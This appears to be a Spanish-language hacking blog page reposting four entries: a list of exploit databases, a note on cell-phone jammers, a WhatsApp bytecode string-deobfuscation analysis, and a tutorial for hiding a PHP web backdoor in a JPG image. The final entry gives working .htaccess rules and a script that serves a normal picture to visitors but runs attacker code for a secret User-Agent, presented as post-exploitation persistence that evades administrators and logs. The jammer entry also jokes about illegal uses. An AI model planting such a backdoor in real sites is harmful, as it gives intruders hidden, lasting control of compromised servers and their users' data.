Banner 1

El reemplazo de Milw0rm

0 comentarios
Esta entrada la quería hacer hace mucho tiempo pero por cuestiones de trabajo nunca pude... así que les dejo una que encontré que sirve.


Mucho se ha hablado últimamente sobre milw0rm.com , que str0ke (su autor) había muerto, lo cual fue desmentido luego gracias a twitter, que el sitio seria mantenido por otro grupo de personas (aunque desde septiembre no se actualiza) y en medio de las dudas sobre el futuro de este proyecto han salido varios candidatos que pretenden servir de reemplazo como por ejemplo inj3ct0r.com que es una copia exacta de milw0rm.com a modo de mirror para tener un backup del sitio en caso que deje de funcionar definitivamente (si lo hace).
exploita El reemplazo de Milw0rm
En esta ocasión les voy a hablar del que a mi parecer será el sucesor de milw0rm y continuara con el legado dejado por str0ke, se trata de explo.it un que pretende ser una de como lo era milw0rm pero con algunos beneficios que listare a continuación:
  1. Es mantenido por los desarrolladores de Ofensive Security, quienes nos han regalado ya alegrías como el famoso .
  2. El sistema de búsqueda ha sido mejorado.
  3. Ahora es posible descargar la aplicación a la que afecta el exploit, dando click en la letra [A], incentivando aun mas la investigación de los fallos explotados.
Por estos motivos creo que explo.it es el nuevo Milw0rm y desde La Comunidad DragonJAR le damos todo el apoyo a este proyecto para que siga adelante, ¿conoces alguna otra alternativa? háznosla saber en los comentarios.
ACTUALIZADO:
Gracias al comentario de JiRuSoNu tenemos algunas otras alternativas
Exploits DB
http://www.expbase.com/
http://www.securelist.com/en/advisories/
http://www.hack0wn.com/
http://securityreason.com/exploit_alert
http://www.exploit-db.com/
http://nvd.nist.gov/
http://secunia.com/advisories/historic/
http://www.securityhome.eu/
http://www.security-database.com/
http://siomalabs.com/v/index.php/category/vulnerabilities/
http://osvdb.org/
http://ariko-security.com/index-7.html
http://www.packetstormsecurity.org/
http://www.nullbyte.org.il/
Buscadores de Exploits
http://sebug.net/
http://exploitsearch.com/


Algunas otras
http://www.expbase.com/
http://www.securelist.com/en/advisories/
http://www.hack0wn.com/
http://securityreason.com/exploit_alert
http://www.exploit-db.com/
http://nvd.nist.gov/
http://secunia.com/advisories/historic/
http://www.securityhome.eu/
http://www.security-database.com/
http://siomalabs.com/v/index.php/category/vulnerabilities/
http://osvdb.org/
http://ariko-security.com/index-7.html
http://www.packetstormsecurity.org/
http://www.nullbyte.org.il/

http://1337day.com/
Local root Exploits: http://localroot.th3-0utl4ws.com/
http://1337day.com/

Buscadores
http://sebug.net/
http://exploitsearch.com/

Fuente:http://www.dragonjar.org/reemplazo-de-milw0rm.xhtml




Jammer el DoS de los celulares

0 comentarios

Un Jammer o Mata Celulares es un dispositivo que inunda la frecuencia que usan los celulares, aislándolos entre el terminal celular y su celula aka torre de comunicaciones, desde la perspectiva del celular es como si hubiera entrado a una zona que no tiene cobertura y terminan todas las transmisiones, el indicador de señal se baja a 0 o se pone en una tacha.
Debe usarse solo en sitios privados como tu casa u oficina cuando sospechas que están tratando de grabarte, ya sea con un celular normal o uno espía, muchos políticos agradecerían tener estos conocimientos y herramientas.
Usos un poco perversos y que serian ilegales y seguramente considerado un ataque a las vías federales de comunicaciones, activarlo en el cine sin un contrato de aceptación del espectador por lo que tendría que activarlo el dueño del cine y no tu o separar a una chica de su Smartphone, es un fastidio que no puedas platicar con alguien sin que cada minuto mire a su celular para contestar pins o whatsapp o peor que te mande un pin cuando estas a 40 centímetros de distancia por que le da pena decirte de viva voz lo quiere. A que generaciones nuevas tan cobardes, pero pos si es niña se le perdona =)
Volviendo al asunto de Jammer y ahora que esta tan de moda los ataques DDoS , traducido a esto, un Jammer activado es un DoS a un celular o celulares que estén en el area


Fuente:http://www.lastdragon.net/?p=671

Decodificando cadenas ofuscadas del bytecode Dalvik de What’s App

0 comentarios
Un análisis de David Kaplan (2of1) de los opcodes Dalvik de algunas funciones de What's App demuestra que utiliza una ofuscación muy sencilla.
Echemos un vistazo a una de esas funciones: 
0010EFB8   Method 6552 (0x1998):_
0010EFB8    static void
0010EFB8   com.whatsapp.n0.()
0010EFB8   const/16                        v2, 0x5B
0010EFBC   const/16                        v3, 0x39
0010EFC0   const/16                        v1, 0x19
0010EFC4   const/16                        v4, 9
0010EFC8   const/4                         v6, 0
0010EFCA   const/4                         v0, 2
0010EFCC   new-array                       v9, v0, 
0010EFD0   const-string                    v0, aK_20 # "k>^"
0010EFD4   invoke-virtual                  {v0}, 
0010EFDA   move-result-object              v0
0010EFDC   array-length                    v5, v0
0010EFDE   move                            v7, v5
0010EFE0   move                            v8, v6
0010EFE2   move-object                     v5, v0
0010EFE4
0010EFE4 loc_10EFE4:                             # CODE XREF: n0__clinit_@V+9A j
0010EFE4   if-gt                           v7, v8, loc_10F034
0010EFE8   new-instance                    v0, 
0010EFEC   invoke-direct                   {v0, v5}, (ref) imp. @ unk_2EB58>
0010EFF2   invoke-virtual                  {v0}, 
0010EFF8   move-result-object              v0
0010EFFA   aput-object                     v0, v9, v6
0010EFFE   const/4                         v8, 1
0010F000   const-string                    v0, aE_10 # "E"
0010F004   invoke-virtual                  {v0}, 
0010F00A   move-result-object              v0
0010F00C   array-length                    v5, v0
0010F00E   move                            v7, v6
0010F010   move                            v6, v5
0010F012   move-object                     v5, v0
0010F014
0010F014 loc_10F014:                             # CODE XREF: n0__clinit_@V+CC j
0010F014   if-gt                           v6, v7, loc_10F066
0010F018   new-instance                    v0, 
0010F01C   invoke-direct                   {v0, v5}, (ref) imp. @ unk_2EB58>
0010F022   invoke-virtual                  {v0}, 
0010F028   move-result-object              v0
0010F02A   aput-object                     v0, v9, v8
0010F02E   sput-object                     v9, n0_z
0010F032
0010F032 locret:
0010F032   return-void
0010F034 # ---------------------------------------------------------------------------
0010F034
0010F034 loc_10F034:                             # CODE XREF: n0__clinit_@V:loc_10EFE4 j
0010F034   aget-char                       v10, v5, v8
0010F038   rem-int/lit8                    v0, v8, 5
0010F03C   packed-switch                   v0, switchdata_10F098
0010F042 # ---------------------------------------------------------------------------
0010F042
0010F042 loc_10F042:                             # CODE XREF: n0__clinit_@V+84 j
0010F042   move                            v0, v4 # default:
0010F044
0010F044 loc_10F044:                             # CODE XREF: n0__clinit_@V+9E j
0010F044                                         # n0__clinit_@V+A2 j ...
0010F044   xor-int/2addr                   v0, v10
0010F046   int-to-char                     v0, v0
0010F048   aput-char                       v0, v5, v8
0010F04C   add-int/lit8                    v0, v8, 1
0010F050   move                            v8, v0
0010F052   goto                            loc_10EFE4
0010F054 # ---------------------------------------------------------------------------
0010F054
0010F054 loc_10F054:                             # CODE XREF: n0__clinit_@V+84 j
0010F054   move                            v0, v1 # case 0: // (0x0)
0010F056   goto                            loc_10F044
0010F058 # ---------------------------------------------------------------------------
0010F058
0010F058 loc_10F058:                             # CODE XREF: n0__clinit_@V+84 j
0010F058   move                            v0, v2 # case 1: // (0x1)
0010F05A   goto                            loc_10F044
0010F05C # ---------------------------------------------------------------------------
0010F05C
0010F05C loc_10F05C:                             # CODE XREF: n0__clinit_@V+84 j
0010F05C   move                            v0, v3 # case 2: // (0x2)
0010F05E   goto                            loc_10F044
0010F060 # ---------------------------------------------------------------------------
0010F060
0010F060 loc_10F060:                             # CODE XREF: n0__clinit_@V+84 j
0010F060   const/16                        v0, 0x75 # case 3: // (0x3)
0010F064   goto                            loc_10F044
0010F066 # ---------------------------------------------------------------------------
0010F066
0010F066 loc_10F066:                             # CODE XREF: n0__clinit_@V:loc_10F014 j
0010F066   aget-char                       v10, v5, v7
0010F06A   rem-int/lit8                    v0, v7, 5
0010F06E   packed-switch                   v0, switchdata_10F0B0
0010F074 # ---------------------------------------------------------------------------
0010F074
0010F074 loc_10F074:                             # CODE XREF: n0__clinit_@V+B6 j
0010F074   move                            v0, v4 # default:
0010F076
0010F076 loc_10F076:                             # CODE XREF: n0__clinit_@V+D0 j
0010F076                                         # n0__clinit_@V+D4 j ...
0010F076   xor-int/2addr                   v0, v10
0010F078   int-to-char                     v0, v0
0010F07A   aput-char                       v0, v5, v7
0010F07E   add-int/lit8                    v0, v7, 1
0010F082   move                            v7, v0
0010F084   goto                            loc_10F014
0010F086 # ---------------------------------------------------------------------------
0010F086
0010F086 loc_10F086:                             # CODE XREF: n0__clinit_@V+B6 j
0010F086   move                            v0, v1 # case 0: // (0x0)
0010F088   goto                            loc_10F076
0010F08A # ---------------------------------------------------------------------------
0010F08A
0010F08A loc_10F08A:                             # CODE XREF: n0__clinit_@V+B6 j
0010F08A   move                            v0, v2 # case 1: // (0x1)
0010F08C   goto                            loc_10F076
0010F08E # ---------------------------------------------------------------------------
0010F08E
0010F08E loc_10F08E:                             # CODE XREF: n0__clinit_@V+B6 j
0010F08E   move                            v0, v3 # case 2: // (0x2)
0010F090   goto                            loc_10F076
0010F092 # ---------------------------------------------------------------------------
0010F092
0010F092 loc_10F092:                             # CODE XREF: n0__clinit_@V+B6 j
0010F092   const/16                        v0, 0x75 # case 3: // (0x3)
0010F096   goto                            loc_10F076
0010F096 # ---------------------------------------------------------------------------
0010F098 switchdata_10F098:                      # DATA XREF: n0__clinit_@V+84 r
0010F098   .short 0x100
0010F09A   .short 4
0010F09C   .int 0
0010F0A0   .int 0xC, 0xE, 0x10, 0x12
0010F0B0 switchdata_10F0B0:                      # DATA XREF: n0__clinit_@V+B6 r
0010F0B0   .short 0x100
0010F0B2   .short 4
0010F0B4   .int 0
0010F0B8   .int 0xC, 0xE, 0x10, 0x12
0010F0B8   Method End
Lo primero que notamos es que la función asigna algunos valores fijos a los registros v1-v4. Estos valores parecen mantenerse sin cambios a través del código de decodificación.


Moviéndonos a lo largo en el código, podemos ver también que se está asignando una especie de cadena ofuscada o mangled @ 0×0010EFD0.
Obteniendo los datos hasta su terminación NULL produce lo siguiente:
6b3e5e1c7a6d3e4b5a7971345710267a344c1b7d6b224e147d7a335c0726783d4d107b6d3e41016a713a57126c7d7b551a66722e4936666c354d07705a345d10297f295618295a344c1b7d6b22691d66773e701b6f767b5f1460753e5d
La función ahora realizará un bucle a través de cada carácter de la cadena para descifrarla. La transformación es un simple XOR.
¿Recuerdas los 4 registros fijos que comentábamos al principio? Son los valores utilizados para el XOR. De hecho, en realidad hay 5 valores en esa función, el quinto se utiliza simplemente como un valor literal directo en lugar de haber sido colocado en un registro.

La instrucción ‘packed-switch’ decide qué valor XOR se va a usar basándose en el índice del carácter actual dentro de la cadena MOD 5. Esto le permite recorrerla repetidamente a través de las 'claves' del XOR.

A continuación, una función Python que realiza el descifrado:
def decode_string(encoded_str, key):
    encoded_str = bytearray(encoded_str)
    decoded_str = ''
 
    for i in range(len(encoded_str)):
        decoded_str += chr(encoded_str[i] ^ key[i % 5])
 
    return decoded_str
Y el uso:
import binascii
 
key = [0x19, 0x5b, 0x39, 0x75, 0x09]
encoded_str = binascii.unhexlify("6b3e5e1c7a6d3e4b5a7971345710267a344c1b7d6b224e147d7a335c0726783d4d107b6d3e41016a713a57126c7d7b551a66722e4936666c354d07705a345d10297f295618295a344c1b7d6b22691d66773e701b6f767b5f1460753e5d")
 
print decode_string(encoded_str, key)
Que en este caso devuelve:
register/phone/countrywatcher/aftertextchanged lookupCountryCode from CountryPhoneInfo failed

KlassMaster?

Fuente:http://www.hackplayers.com/2012/08/decodificando-cadenas-ofuscadas-del.html

Backdoors web en imágenes: mejorando la técnica

0 comentarios
Al hilo de la entrada en la que se mostraba como ocultar código PHP en los metadatos de una imagen, en esta ocasión explicaremos cómo insertar nuestro backdoor también en una imagen pero esta vez añadiendo el código al final del fichero y ejecutando el shell sólo si se recibe un determinado “User-agent”.  

De esta manera se seguirá mostrando la imagen normalmente al resto de usuarios que naveguen por el servidor web comprometido y nosotros dispondremos de la "puerta trasera" para cuando la necesitemos.

Ejecutando código PHP desde una “inocente” imagen  

La forma de hacer que nuestra imagen ejecute código PHP es similar a la anterior, es decir, insertando un fichero .htaccess en el directorio donde se encuentra nuestra imagen con el código. 

Este es un fichero que se encarga de permitir una configuración sobre un directorio. Una configuración propia de apache, con unas limitaciones. Recomiendo visitar la web de apachepara comprender mejor su funcionamiento. 
Prevalece todo lo indicado en este fichero, sobre la configuración inicial. Es decir, pondremos como prohibido el acceso a: 127.0.0.1, en la configuración de apache. 
Deny from 127.0.0.1 
Y sin embargo, la carpeta: “Comparto”, permitimos vía .htaccess, el acceso a cualquier dirección: 
Allow from All
Debemos saber que deberá encontrarse en esa carpeta, y afectará a la carpeta donde se encuentre, en este caso Comparto, y sus subcarpetas. 

Imaginemos, que una determinada carpeta, por estar destinada a código fuente, queremos almacenar ficheros php, pero que no se pueda ejecutar el código, simplemente que permita ver íntegramente lo que contienen los ficheros. Podríamos crear una carpeta en nuestro host, llamada: Source. Y contener un archivo .htaccess con el siguiente código: 
AddType text/plain .php
¿Se entiende la idea? Cualquier fichero con una extensión php, será tratado como texto plano. Y podríamos ver el código. Si renombramos un .rar, vamos a  ver “basura”. 

Al igual que se explicaba en la anterior entrada de Hackplayers, se puede ejecutar código desde los metadatos/comentarios de una foto. Esto es debido a que se “fuerza” a que el servidor Apache interprete todas las imágenes como si de un PHP se tratase. Lógicamente, perderán la opción de visualización. 

Con la siguiente configuración en .htaccess: 
AddType application/x-httpd-php .jpg
Podemos crear un fichero con extensión jpg, con puro código php. Y lo veríamos así:
  

Para seguir haciendo pruebas, he creado un fichero JPG en el paint, con una bonita W. Un fondo horrible, añadiendo el código al final del fichero. En la imagen se puede apreciar, que trata de cargar todos los caracteres que componen la imagen, es decir, lo llena de basura, pero finalmente ejecuta mi código php.
 

De la misma manera poniendo el código al principio.
 

Con esto, queda demostrado que da igual dónde pongas el código, si se encuentra, tratará de ser ejecutado.

Lógicamente, hay zonas mejores y peores. Tras muchas pruebas, he concluido que la mejor zona para introducir código, es el final del fichero. El motivo, es que podemos hacer un script en PHP, que te deja elegir dependiendo de quien visita la página, bien una foto, o bien una shell.  

Mejorando la técnica para post-explotación del sistema

Lo que pensaba podría ser un simple comentario, ha crecido y crecido… Hasta ser una explicación un poco hardcore, de una post-explotación. Aprovecho para mandar un saludito a mi chica. ¿Cuál es mi cámara?

Una post-explotación de un sistema apache, como es el caso, implica que ya tenemos acceso y podemos modificar los ficheros locales y expuestos (públicos en apache). Vamos a imaginar un entorno “WordPress” ya vulnerado. La ramificación de ficheros sería así:
 

La carpeta seleccionada, supongo que sería algo así la que buscaría en un entorno “real”. Porque está relativamente oculta. No tenga nada en contra de wordpress. Este tipo de ataque, se puede modificar, para ser efectivo sobre cualquier servidor.

¿Qué buscamos con una post-explotación?

Ante todo, una vez comprometido el sistema y ya tenemos acceso, vamos a buscar, poder regresar. Seguramente el administrador pueda darse cuenta de nuestra intrusión. Ahora debemos, garantizar nuestro retorno. Y sobre todo, que solamente nosotros, tengamos acceso posteriormente. Esto último, es especialmente importante. (Aconsejo no dejar acceso sólo a tú dirección ip.)

¿Una imagen, puede comprometer un sistema apache?

¡Sí! Ya hemos visto como el compañero Vicente, nos explicaba cómo convertir una imagen, en un fichero ejecutable php. El problema es que pierden la funcionalidad como imagen, es decir, dejarían de cargar, o bien mostraría “basura”, es decir, una imagen como texto, con caracteres extraños. Ahora veremos cómo evitar esto.

¿Y si encontrásemos la forma de mostrar una imagen, o ejecutar un script php a voluntad?

De esta forma, si el administrador o un usuario cargan una imagen, podría verla perfectamente. Sin embargo, nosotros, a voluntad, podríamos ver una shell en php ¡Como si fuera sólo una imagen! ¡Y así lo mostraría el log! Es decir, tan solo parecería que se ha cargado una linda foto.
 

¡Al ataqueeer! El código que he introducido en .htaccess:
1 - RewriteEngine On 2 -AddType application/x-httpd-php .jpg 3 - RewriteCond %{REQUEST_URI} !wordpress.jpg 4 - RewriteRule ^(.+)\.jpg$ /wordpress.jpg?foto=$1 [L]
1* - Activa la reescritura.
2* - Fuerza que los ficheros .JPG, sean considerados ficheros PHP. (Como si un .php se tratara).
3* - Verifica que el fichero que se está llamando no sea wordpress.jpg. Esto es debido a que sin esta línea, se produciría un bucle.
4* - Fuerza que todos  los ficheros .JPG, sean reenviados a: localhost/wordpress.jpg?foto=Nombrefoto (Menos si el fichero es wordpress.jpg)

Realmente wordpress.jpg es un script php encargado de mostrar la imagen, o una shell bajo petición:
?php error_reporting(0); if ($_SERVER['HTTP_USER_AGENT'] == "Hackermalo")  {     #¿Shell?     #Maybe     #¿Include?     #include "xx.jpg"; #Funciona. Carga la shell     #echo $_GET["foto"].".jpg";     include $_GET["foto"].".jpg";     #Burradas e inventos varios ^^ }else{ #Código propiedad de Cluster #http://www.forosdelweb.com/f18/problema-con-header-content-type-image-jpeg-106272/     if ($_GET["foto"]==""){         Header("Content-Type: image/png");         $url_img="http://s.wp.com/wp-content/themes/h4/i/logo-v-rgb.png";     }else{         Header("Content-Type: image/jpg");         $url_img=$_GET["foto"].".jpg";     }     $img_link = fopen($url_img,"rb"); // rb modo binario para windows .. r para linux     while (!feof ($img_link)){ // se lee la imagen hasta fin de fichero (END OF FILE)         $img_des = fgets ($img_link, 4096); // se cogen de bloques de 4 kbytes         echo $img_des; // se mandan al navegador en este caso ..     }     fclose($img_link); // se cierra el link de fichero .. } ?>
Primero verifica el UserAgent enviado. Como medida de protección, primero sólo yo tendré acceso al panel, no será cacheado por los buscadores, y me permite ocultar mi estancia. Si mi user agent es: “Hackermalo”, carga el código php, en caso contrario, muestra la foto. Detecta el nombre del fichero pasado por la variable “foto”, si no hay nada, es decir, se ha llamado directamente a wordpress.jpg ¡Muestra una imagen! :D. En caso contrario, procesa el fichero y muestra la imagen solicitada. Gracias al código del htaccess, no varía la url, es decir, parece que está mostrando la imagen real.

Una imagen con el user-agent por defecto. El administrador, Google, cualquiera. Al final de la imagen, está nuestro script, con el que he trabajado todo este rato. Esto es lo que veríamos al llamar a la imagen:
 

Ahora, cambiaré mi user-agent a: “Hackermalo”, y simplemente tengo que presionar F5. El payload que he utilizado es cargar por include la misma imagen que estoy llamando. Por lo que se aprecia mucha basura de la propia foto, y al final del todo mi código.

Por último, sólo tendríamos que subir el .htaccess a la carpeta screenshots, y el fichero wordpress.jpg. En el propio código de wordpress.jpg, podríamos meter una Shell y hacer que sea llamada vía include desde otra “foto”, en fin, aquí el límite lo pone la imaginación…
Powered by Bad Robot
Helped by Blackubay